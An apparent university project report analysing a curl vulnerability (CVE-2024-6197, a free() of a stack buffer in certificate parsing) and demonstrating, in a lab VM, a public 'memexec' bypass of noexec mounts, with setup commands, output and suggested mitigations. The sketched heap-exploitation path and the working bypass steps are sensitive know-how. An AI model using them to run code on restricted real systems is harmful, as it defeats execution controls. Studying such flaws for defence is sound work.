Project report

email: m.voronin@innopolis.university
name: Mikhail Voronin
group: CBS-01
GitHub: Link

Goal:

Gain practical experience in working with vulnerabilities

Tasks:

1. Choose vulnerability
2. Analyse it
3. Develop new exploit or analyse existing and test it
4. Assess threats
5. Develop recommendations to minimize or eliminate them

During the project I encountered a problem, which was the reason to choose and consider one more vulnerability under the current project.

Execution:

CVE-2024-6197

During the search I found a new (this year) vulnerability in curl utility - CVE-2024-6197. I did not find exploits in open source, however there was a scenario on hackerone. It was caused by a programmer's error. The problem is applying free() operation on a *buf* variable, which is a stack variable. Such operations usually cause the error (free(): invalid pointer) finishing with SIGABRT. However potentially it may pass the tests and add address (chunk) to the list of free chunks. In this case it may be used by malloc in the future and be exploited by an attacker e. g. overwriting return address and constructing ROP-chain and gain control over the execution of the program.

After that I analyze free() tests and heap construction. I chose ptmalloc2 realisation from glibc realisation because of its wild use. I got the details of realisation: each chunk has a header with metaiformation (follow the link to find details). There are also alignment conventions. The lasts will be giant with high probability because of

similar agreements accorded to stack (depends on realisation of compiler etc.) And the firsts may be giant by value matching. However this work will only free the chunk, so we will need to work with an application (e. g. starting in the loop or long interaction) to meet our chunk. I fixed this idea and started to analyze curl's code.

To gain free() we need to enter all "if"s. Since initially wc is 0, its bits shift 1, +1, +2 times by 8 bits depending on size and final value must be >=0x00200000 (first "1" in the 2nd byte from the grater), we need to gain 4 shifts. This is only for the case of using CURL_ASN1_UNIVERSAL_STRING. UniversalString is a ASN.1 data type with constant 4 bytes size (UCS-4). It was superseded by UTF8String. Vulnerability is in curl/lib/x509asn1.c file which is for work with X.509 certificate. So we need to construct it and establish a TLS connection to trigger CVE during the parsing of the certificate on the handshake step. However there is a problem, because here is no utility, which allows to create a certificate with UniversalString (as I said, it was superseded by UTF8String). I found only ASN.1 Editor, which allows editing certificates, but does not correct hash and handshake crashes because of it before parsing. After studying the structure of the certificate, I have come to the conclusion that my own implementation of a program to create and sign it is too complex and beyond the time frame of this project.

Recommendation is to update curl, since this problem was only in versions 8.0.6-8.8.0 (read more here). There is a patch.

noexec bypass

I did research work, however there was no practice of exploitation, so I found one more nex vulnerability with exploit and tested it. This vulnerability allows execution (even for files without *x* permission flag) in partitions mounted with *noexec* flag. There is research, so I will skip the explanation process because of similarity and move to practice (You may check demo link).

Environment:

```
vm@NCS:~/user$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.1 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.1 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-poli
cy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
```

Example of the program for execution:

```
vm@NCS:~/user$ cat hello.c
// Simple C program to display "Hello World"

// Header file for input output functions
#include <stdio.h>

// Main function: entry point for execution
int main() {

    // writing print statement to print hello world
    printf("Hello World");

    return 0;
}
```

Already cloned the repository. We need to create a new partition and mount it with the noexec flag. For this I create loop device with ext4 fs:

```
vm@NCS:~/user$ ls
hello.c  memexec
vm@NCS:~/user$ touch fs
vm@NCS:~/user$ dd if=/dev/zero of=fs bs=512 count=1000000
1000000+0 records in
1000000+0 records out
512000000 bytes (512 MB, 488 MiB) copied, 0.998488 s, 513 MB/s
vm@NCS:~/user$ sudo losetup fs --find
```

Mount it:

```
vm@NCS:~/user$ mkdir mnt
vm@NCS:~/user$ sudo mount /dev/loop16 mnt/
```

Copy my files to new volume and compile the program:

```
vm@NCS:~/user$ sudo !!
sudo cp hello.c memexec/ mnt/ -r
vm@NCS:~/user$ cd m
memexec/ mnt/
vm@NCS:~/user$ cd mnt/
vm@NCS:~/user/mnt$ ls
hello.c  lost+found  memexec
vm@NCS:~/user/mnt$ gcc hello.c -o hello
/usr/bin/ld: cannot open output file hello: Permission denied
collect2: error: ld returned 1 exit status
vm@NCS:~/user/mnt$ sudo !!
sudo gcc hello.c -o hello
```

Remount it with aimed flag:

```
vm@NCS:~/user/mnt$ cd ..
vm@NCS:~/user$ sudo mount -o remount,noexec /dev/loop16
vm@NCS:~/user$ mount
```

And check it:

```
/dev/loop16 on /home/vm/user/mnt type ext4 (rw,noexec,relatime)
```

I confirm his work:

```
vm@NCS:~/user/mnt$ ./hello
bash: ./hello: Permission denied
vm@NCS:~/user/mnt$ sudo ./hello
sudo: unable to execute ./hello: Permission denied
```

And use exploit:

```
vm@NCS:~/user/mnt$ source memexec/memexec-bash.sh
vm@NCS:~/user/mnt$ cat hello | memexec
cat: syscall: Operation not permitted
dd: error writing 'standard output': Input/output error
1+0 records in
0+0 records out
0 bytes copied, 0.000286704 s, 0.0 kB/s
```

```
vm@NCS:~/user/mnt$ source memexec/memexec-perl.sh
vm@NCS:~/user/mnt$ cat hello | memexec
Hello Worldvm@NCS:~/user/mnt$
```

As we can see, perl exploit works great, however there are some problems with bash exploit, but I did not find the problem finally.

It is hard to give recommendations, since there are no of them in the open source. All of the next recommendations are based on theoretical research, however I will complete it in case of successful work in future. I suppose that we may mitigate the problem, using IMA (appraise) in an enforce mode setting, since it checks signs in case of syscall (however, probably not these, which are used in exploits). I also found SELinux settings useful for this problem. One more recommendation is limitations on system calls (e. g. in containers).

Difficulties:

I met a lot of difficulties which were described earlier. Some of them are:

1. Steps planning (it was better to start with UniversalString rather than with heap realisation)
2. Environment settings (I met with them during the attempts of mitigation the effect with IMA and SELinux, and crashed my system some times)
3. Compatibility problem

Conclusion:

In conclusion, I get new knowledge in case of work with real exploit and in case of research work. Studied details about heap realisation. Read a lot of documentation. Probably, I will continue the work with *noexec* exploit, with patching/mitigating it in particular, since this this topic really interested me during my research.